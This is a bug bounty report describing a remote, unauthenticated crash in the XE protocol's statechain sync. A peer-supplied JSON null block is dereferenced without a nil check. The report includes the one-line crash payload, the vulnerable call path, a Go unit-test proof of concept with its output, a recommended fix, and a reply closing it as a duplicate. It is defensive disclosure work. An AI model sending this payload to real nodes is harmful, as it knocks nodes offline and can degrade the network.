[statechain,net] Remote unauthenticated node-crash: statechain sync dereferences a JSON null block with no nil check and no recover
Report
XE Bug Bounty — Statechain sync null-block remote node-crash
Title: [statechain,net] Remote unauthenticated node-crash: statechain sync dereferences a JSON null block
Reporter: @bobskey
Severity: High
Tier: High
Asset/Target: xeprotocol/xe — statechain package (testnet-0005)
Duplicate check: Related in shape to XE-11679 (ledger sync null-block), but this is a separate, independently-reachable crash in the statechain (DAO/activation) subsystem with its own sync protocol, stream handler, and production call path (statechain.SetupSync / requestSync). Different code, different wire protocol, different subsystem. Not a duplicate.
Summary
The statechain (DAO/activation) block-sync puller decodes a peer-supplied JSON
response and then dereferences every element of its blocks array without a
nil check. Because the element type is []*Block, a malicious peer can put a
single JSON null in the array, which Go's encoding/json decodes into a nil
pointer with no error. That nil is passed into Chain.AddBlock, which
dereferences it in the hash-verification path and panics. The sync runs on a
goroutine with no recover(), so the panic terminates the whole node
process.
Vulnerable path
statechain/sync.go:178 for _, b := range resp.Blocks {
statechain/sync.go:179 if err := chain.AddBlock(b); err != nil { // b may be nil
statechain/chain.go:106 func (c *Chain) AddBlock(b *Block) error {
statechain/chain.go:109 if err := VerifyBlockHash(b); err != nil { // no nil guard
statechain/crypto.go:42 func VerifyBlockHash(b *Block) error {
statechain/crypto.go:43 expected, err := HashBlock(b)
statechain/crypto.go:12 func HashBlock(b *Block) (string, error) {
statechain/encoding.go:14 binary.BigEndian.PutUint64(idx[:], b.Index) // NIL DEREF
VerifyBlockHash → HashBlock → MarshalCanonical reads b.Index and other
fields with no nil guard, and none of the three functions contains a
recover(). statechain/sync.go:82 (inside SetupSync) and
statechain/sync.go:220 (inside ResyncOnGap, wired at node/node.go:2243)
both call requestSync on bare goroutines, so the panic is fatal.
Why it's reachable remotely and without auth
statechain.SetupSync(h, sc)is called at node startup (node/node.go:329) andstatechain.ResyncOnGap(...)periodically (node/node.go:2243), so the sync puller is always active.requestSyncaccepts an inbound statechain-sync stream from any connected peer and JSON-decodes the response withjson.NewDecoder(sync.go:168-172).encoding/jsonturns anullarray element into a nil*Blocksilently — unlike the gossip path, there is no explicit nil rejection and noDisallowUnknownFields-style hardening on this stream.- An attacker only needs to be a libp2p peer the victim syncs from (any node the victim connects to, or that appears in its routing table) and write one crafted page.
Impact
- Full remote node crash (DoS) of any XE node that syncs statechain blocks from the attacker. One inbound stream, one line of JSON → process exits.
- Because it hits the statechain (DAO/activation) subsystem, a sustained attack can starve activation/policy propagation network-wide, degrading consensus participation across the mesh.
- No authentication, no stake, no rate-limit gate on the malicious response content itself.
Proof of Concept
Run: cd xe && go test -run TestPoc_StatechainSyncNullBlock ./statechain/
package statechain_test
import (
"testing"
"github.com/xeprotocol/xe/statechain"
)
func TestPoc_StatechainSyncNullBlock(t *testing.T) {
// A malicious peer's sync-response page {"blocks":[null],"has_more":false}
// decodes resp.Blocks[0] to a nil *Block with NO error. AddBlock passes it
// straight into VerifyBlockHash, which dereferences it.
var nilBlock *statechain.Block
defer func() {
if r := recover(); r != nil {
t.Fatalf("PANIC CONFIRMED — remote nil-block crashes node: %v", r)
}
}()
_ = statechain.VerifyBlockHash(nilBlock)
t.Log("VerifyBlockHash(nil) returned with no crash")
}
Observed output (real run):
--- FAIL: TestPoc_StatechainSyncNullBlock (0.00s)
poc_sync_nullblock_test.go:29: PANIC CONFIRMED — remote nil-block crashes node:
runtime error: invalid memory address or nil pointer dereference
Recommended fix
Add a nil guard at the top of Chain.AddBlock (or before the loop at
statechain/sync.go:178):
func (c *Chain) AddBlock(b *Block) error {
if b == nil {
return fmt.Errorf("AddBlock: nil block")
}
...
}
And/or guard the consumer loop so a nil element is skipped/countered rather
than passed down. For defense-in-depth, add a recover() around the sync
goroutine body so a decode/validation panic can never terminate the process.
Reporter
- Handle: @bobskey
- Bounty wallet:
0x1d1FEe3A35d30E3f4fc3BCC49DbDe2028A7027C3
Thread
Thanks. This is the same finding as https://bounty.xe.network/XE-0002, which was filed first; the programme pays the first verifiable submission, so this one closes as a duplicate. If you believe it is a different bug, file a new report that links https://bounty.xe.network/XE-11788 and says what differs; it is read like any other.